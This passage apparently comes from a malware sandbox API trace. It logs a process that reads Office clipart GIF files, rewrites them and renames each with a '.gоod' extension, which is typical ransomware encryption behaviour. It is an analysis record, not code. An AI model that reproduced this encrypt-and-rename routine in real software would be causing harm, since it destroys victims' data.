Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0136.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0136.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0136.221] GetFileType (hFile=0x640) returned 0x1 [0136.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0136.221] GetFileType (hFile=0x640) returned 0x1 [0136.221] WriteFile (in: hFile=0x640, lpBuffer=0x37a2758*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x37a2758*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0136.221] CloseHandle (hObject=0x640) returned 1 [0136.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0136.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.gоod", lpFilePart=0x0) returned 0x56 [0136.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0136.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d6884bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b8f)) returned 1 [0136.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0136.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif.gоod")) returned 1 [0136.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", lpFilePart=0x0) returned 0x51 [0136.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0136.222] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), fInfoLevelId=0x0, lpFileInformation=0x395c300 | out: lpFileInformation=0x395c300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ad)) returned 1 [0136.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0136.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", lpFilePart=0x0) returned 0x51 [0136.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0136.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0136.223] GetFileType (hFile=0x640) returned 0x1 [0136.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0136.223] GetFileType (hFile=0x640) returned 0x1 [0136.223] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x6ad [0136.223] ReadFile (in: hFile=0x640, lpBuffer=0x395cc88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x395cc88*, lpNumberOfBytesRead=0x1f9edc08*=0x6ad, lpOverlapped=0x0) returned 1 [0136.224] CloseHandle (hObject=0x640) returned 1 [0136.703] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", lpFilePart=0x0) returned 0x51 [0136.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0136.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.704] GetFileType (hFile=0x650) returned 0x1 [0136.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0136.705] GetFileType (hFile=0x650) returned 0x1 [0136.705] WriteFile (in: hFile=0x650, lpBuffer=0x3957d70*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3957d70*, lpNumberOfBytesWritten=0x1f9edb18*=0x6b0, lpOverlapped=0x0) returned 1 [0136.705] CloseHandle (hObject=0x650) returned 1 [0136.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", lpFilePart=0x0) returned 0x51 [0136.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.gоod", lpFilePart=0x0) returned 0x56 [0136.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0136.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4db1fa19, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0)) returned 1 [0136.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0136.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif.gоod")) returned 1 [0136.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", lpFilePart=0x0) returned 0x51 [0136.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0136.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), fInfoLevelId=0x0, lpFileInformation=0x3959048 | out: lpFileInformation=0x3959048*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69f)) returned 1 [0136.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0136.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", lpFilePart=0x0) returned 0x51 [0136.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0136.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0136.707] GetFileType (hFile=0x650) returned 0x1 [0136.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0136.707] GetFileType (hFile=0x650) returned 0x1 [0136.707] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x69f [0136.707] ReadFile (in: hFile=0x650, lpBuffer=0x39599c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x39599c0*, lpNumberOfBytesRead=0x1f9edc08*=0x69f, lpOverlapped=0x0) returned 1 [0137.056] CloseHandle (hObject=0x650) returned 1 [0137.083] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", lpFilePart=0x0) returned 0x51 [0137.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0137.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.384] GetFileType (hFile=0x630) returned 0x1 [0137.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0137.384] GetFileType (hFile=0x630) returned 0x1 [0137.384] WriteFile (in: hFile=0x630, lpBuffer=0x3955af8*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3955af8*, lpNumberOfBytesWritten=0x1f9edb18*=0x6a0, lpOverlapped=0x0) returned 1 [0137.385] CloseHandle (hObject=0x630) returned 1 [0137.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", lpFilePart=0x0) returned 0x51 [0137.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.gоod", lpFilePart=0x0) returned 0x56 [0137.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0137.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e1ae3e1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0137.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0137.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif.gоod")) returned 1 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0137.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), fInfoLevelId=0x0, lpFileInformation=0x3956dd0 | out: lpFileInformation=0x3956dd0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x124a)) returned 1 [0137.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0137.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0137.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.387] GetFileType (hFile=0x630) returned 0x1 [0137.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0137.387] GetFileType (hFile=0x630) returned 0x1 [0137.387] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0137.387] ReadFile (in: hFile=0x630, lpBuffer=0x3957218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3957218*, lpNumberOfBytesRead=0x1f9edca8*=0x24a, lpOverlapped=0x0) returned 1 [0137.388] CloseHandle (hObject=0x630) returned 1 [0137.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0137.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.389] GetFileType (hFile=0x630) returned 0x1 [0137.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0137.389] GetFileType (hFile=0x630) returned 0x1 [0137.389] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x124a [0137.389] WriteFile (in: hFile=0x630, lpBuffer=0x39584c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x39584c8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0137.389] CloseHandle (hObject=0x630) returned 1 [0137.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0137.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.389] GetFileType (hFile=0x630) returned 0x1 [0137.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0137.389] GetFileType (hFile=0x630) returned 0x1 [0137.389] ReadFile (in: hFile=0x630, lpBuffer=0x395a7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x395a7a0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0137.417] CloseHandle (hObject=0x630) returned 1 [0137.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0137.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.418] GetFileType (hFile=0x630) returned 0x1 [0137.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0137.418] GetFileType (hFile=0x630) returned 0x1 [0137.418] WriteFile (in: hFile=0x630, lpBuffer=0x39594e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x39594e0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0137.418] CloseHandle (hObject=0x630) returned 1 [0137.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpFilePart=0x0) returned 0x51 [0137.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0137.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0137.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e1fa833, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x125a)) returned 1 [0137.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0137.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif.gоod")) returned 1 [0137.419] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0137.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0137.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), fInfoLevelId=0x0, lpFileInformation=0x39d8df8 | out: lpFileInformation=0x39d8df8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2017)) returned 1 [0137.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0137.419] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0137.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0137.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.419] GetFileType (hFile=0x630) returned 0x1 [0137.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0137.420] GetFileType (hFile=0x630) returned 0x1 [0137.420] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0137.420] ReadFile (in: hFile=0x630, lpBuffer=0x39d9240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x39d9240*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0138.224] 